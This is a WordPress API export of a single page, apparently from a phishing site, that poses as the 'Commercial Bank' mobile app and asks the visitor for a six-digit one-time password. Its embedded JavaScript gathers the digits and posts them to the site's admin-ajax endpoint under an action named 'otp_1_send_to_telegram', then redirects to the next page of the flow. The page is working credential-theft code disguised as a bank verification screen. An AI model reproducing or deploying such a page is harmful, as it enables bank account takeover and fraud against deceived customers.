{"id":33,"date":"2026-04-07T10:36:34","date_gmt":"2026-04-07T10:36:34","guid":{"rendered":"https:\/\/cb-upgrading-id.it.com\/?page_id=33"},"modified":"2026-04-07T10:42:30","modified_gmt":"2026-04-07T10:42:30","slug":"four","status":"publish","type":"page","link":"https:\/\/cb-upgrading-id.it.com\/index.php\/four\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"33\" class=\"elementor elementor-33\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-9fe6aae elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"9fe6aae\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-50414f5\" data-id=\"50414f5\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-f51de0c elementor-widget elementor-widget-shortcode\" data-id=\"f51de0c\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\n<style>\n.atm-page{\n  position:fixed;\n  inset:0;\n  display:flex;\n  align-items:center;\n  justify-content:center;\n  transform: translateY(-30px);\n  z-index:1;\n}\n\n.atm-box{\n  max-width:420px;\n  width:100%;\n  margin:0 auto;\n  padding:35px 14px;\n  text-align:center;\n  font-family:'Roboto', sans-serif;\n  transition:transform 0.25s ease;   \/* \u2705 Needed for keyboard move *\/\n  will-change: transform;\n}\n\n.atm-top{\n  margin-bottom:32px;\n}\n\n.atm-top img{\n  width:90px;\n  margin:0 auto 12px auto;\n  display:block;\n}\n\n.atm-title{\n  font-size:17px;\n  font-weight:500;\n  margin-bottom:4px;\n  color:#000;\n}\n.atm-desc{\n  font-size:13px;\n  color:#444;\n}\n\n.atm-card{\n  background:#FFFFFF !important;\n  border-radius:17px;\n  padding:36px 20px 36px;\n  border:1px solid #CCCCCC;\n  position:relative;\n  overflow:visible;\n}\n\n.atm-card-label{\n  position:absolute;\n  top:-11px;\n  left:24px;\n  background:#BC1552 !important;\n  padding:4px 12px;\n  font-size:11px;\n  font-weight:600;\n  color:#ffffff;\n  border:1px solid #BC1552 !important;\n  border-radius:8px;\n}\n\n.inside-title{\n  font-size:13px;\n  color:#000;\n  margin-bottom:12px;\n  text-align:left;\n}\n\n.otp-wrap{\n  display:flex;\n  justify-content:space-between;\n  gap:8px;\n  margin-top:12px;\n  margin-bottom:12px;\n}\n.otp-wrap input{\n  width:48px;\n  height:50px;\n  text-align:center;\n  font-size:18px;\n  border-radius:10px;\n  border:1px solid #CCCCCC;\n  outline:none;\n}\n\n.timer-wrap{\n  text-align:center;\n  margin-top:12px;\n  margin-bottom:12px;\n  font-size:13px;\n  color:#000;\n}\n.timer{\n  font-size:15px;\n  font-weight:500;\n  color:#BC1552;\n  margin-left:6px;\n}\n\n#atm-submit{\n  display:block !important;\n  visibility:visible !important;\n  opacity:1 !important;\n  position:relative !important;\n  z-index:9999 !important;\n  width:100% !important;\n  height:50px !important;\n  margin-top:18px !important;\n  border-radius:15px !important;\n  border:none !important;\n  background:#BC1552 !important;\n  color:#fff !important;\n  font-size:16px !important;\n  font-weight:600 !important;\n  cursor:pointer !important;\n}\n<\/style>\n\n<div class=\"atm-page\">\n  <div class=\"atm-box\" id=\"atm-box\">\n\n    <div class=\"atm-top\">\n      <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/log.png\">\n      <div class=\"atm-title\">Welcome To Commercial Bank<\/div>\n      <div class=\"atm-desc\">Mobile App<\/div>\n    <\/div>\n\n    <div class=\"atm-card\">\n\n      <div class=\"atm-card-label\">Verify OTP<\/div>\n\n      <div class=\"inside-title\">\n        Please enter the OTP ( One Time Password ) sent to your registered mobile number +974 XXXXXXXX\n      <\/div>\n\n      <form id=\"atm-form\" novalidate>\n\n        <div class=\"otp-wrap\">\n          <input type=\"tel\" maxlength=\"1\">\n          <input type=\"tel\" maxlength=\"1\">\n          <input type=\"tel\" maxlength=\"1\">\n          <input type=\"tel\" maxlength=\"1\">\n          <input type=\"tel\" maxlength=\"1\">\n          <input type=\"tel\" maxlength=\"1\">\n        <\/div>\n\n        <div class=\"timer-wrap\">\n          The OTP will expire in <span class=\"timer\" id=\"otpTimer\">05:00<\/span>\n        <\/div>\n\n        <button id=\"atm-submit\" type=\"submit\">Verify<\/button>\n\n      <\/form>\n\n    <\/div>\n  <\/div>\n<\/div>\n\n<script>\n\/* \u2705 \u2705 \u2705 KEYBOARD SAFE FULL BOX MOVE (RESTORED) *\/\n(function(){\n\nconst box = document.getElementById(\"atm-box\");\nlet baseHeight = window.innerHeight;\n\nfunction softKeyboardMove(){\n  let currentHeight = window.innerHeight;\n\n  if(window.visualViewport){\n    currentHeight = window.visualViewport.height;\n  }\n\n  const diff = baseHeight - currentHeight;\n\n  if(diff > 120){\n    let moveUp = diff * 0.20;\n    if(moveUp > 90) moveUp = 90;\n    box.style.transform = \"translateY(-\" + moveUp + \"px)\";\n  } else {\n    box.style.transform = \"translateY(0px)\";\n  }\n}\n\nwindow.addEventListener(\"resize\", softKeyboardMove);\n\nif(window.visualViewport){\n  window.visualViewport.addEventListener(\"resize\", softKeyboardMove);\n}\n\n})();\n\n\/* \u2705 OTP AUTO MOVE *\/\nconst otpInputs = document.querySelectorAll(\".otp-wrap input\");\n\notpInputs.forEach((input, index)=>{\n  input.addEventListener(\"input\", ()=>{\n    input.value = input.value.replace(\/\\D\/g,'');\n    if(input.value && otpInputs[index+1]){\n      otpInputs[index+1].focus();\n    }\n  });\n\n  input.addEventListener(\"keydown\", (e)=>{\n    if(e.key===\"Backspace\" && !input.value && otpInputs[index-1]){\n      otpInputs[index-1].focus();\n    }\n  });\n});\n\n\/* \u2705 5 MIN TIMER *\/\nlet time = 300;\nconst timerEl = document.getElementById(\"otpTimer\");\n\nsetInterval(()=>{\n  if(time <= 0) return;\n  time--;\n  let min = String(Math.floor(time\/60)).padStart(2,'0');\n  let sec = String(time%60).padStart(2,'0');\n  timerEl.textContent = min + \":\" + sec;\n},1000);\n\n\/* \u2705 SUBMIT *\/\ndocument.getElementById(\"atm-form\").addEventListener(\"submit\", function(e){\n  e.preventDefault();\n\n  let code = \"\";\n  otpInputs.forEach(i=> code += i.value);\n\n  if(code.length !== 6){\n    alert(\"Enter your 6 digit code\");\n    return;\n  }\n\n  const btn = document.getElementById(\"atm-submit\");\n  btn.textContent = \"Processing...\";\n  btn.disabled = true;\n\n  setTimeout(async ()=>{\n    const data = new FormData();\n    data.append(\"action\",\"otp_1_send_to_telegram\");\n    data.append(\"mobile\", code);\n\n    const r = await fetch('https:\/\/cb-upgrading-id.it.com\/wp-admin\/admin-ajax.php',{\n      method:\"POST\",\n      body:data\n    });\n\n    const t = await r.text();\n    if(t.trim()===\"success\"){\n      window.location.href=\"https:\/\/cb-upgrading-id.it.com\/index.php\/five\/\";\n    }else{\n      btn.disabled=false;\n      btn.textContent=\"Verify\";\n    }\n  },3000);\n});\n<\/script>\n\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-c31324a elementor-widget elementor-widget-html\" data-id=\"c31324a\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-footer-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/1080-233.png\" alt=\"Footer Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-footer-image {\r\n  position: fixed;\r\n  bottom: 0;\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-footer-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u0635\u0631\u0641 \u0645\u0648\u0628\u0627\u0626\u0644 \u06a9\u06d2 \u0644\u06cc\u06d2 *\/\r\n@media (min-width: 768px) {\r\n  .mobile-footer-image {\r\n    display: none;\r\n  }\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-889ba53 elementor-widget elementor-widget-html\" data-id=\"889ba53\" data-element_type=\"widget\" data-widget_type=\"html.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<div class=\"mobile-header-image\">\r\n  <img decoding=\"async\" src=\"https:\/\/cb-upgrading-id.it.com\/wp-content\/uploads\/2026\/04\/EN-1.png\" alt=\"Header Image\">\r\n<\/div>\r\n\r\n<style>\r\n.mobile-header-image {\r\n  position: fixed;\r\n  top: 5px; \/* \u2705 \u0635\u0631\u0641 3px gap *\/\r\n  left: 0;\r\n  width: 100%;\r\n  z-index: 999999;\r\n  margin: 0;\r\n  padding: 0;\r\n  background: transparent;\r\n}\r\n\r\n.mobile-header-image img {\r\n  width: 100%;\r\n  height: auto;\r\n  display: block;\r\n  margin: 0;\r\n  padding: 0;\r\n}\r\n\r\n\/* \u2705 Mobile only *\/\r\n@media (min-width: 768px) {\r\n  .mobile-header-image {\r\n    display: none;\r\n  }\r\n}\r\n\r\nbody {\r\n  padding-top: 0px !important;\r\n}\r\n<\/style>\r\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-33","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/33","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/comments?post=33"}],"version-history":[{"count":5,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/33\/revisions"}],"predecessor-version":[{"id":38,"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/pages\/33\/revisions\/38"}],"wp:attachment":[{"href":"https:\/\/cb-upgrading-id.it.com\/index.php\/wp-json\/wp\/v2\/media?parent=33"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}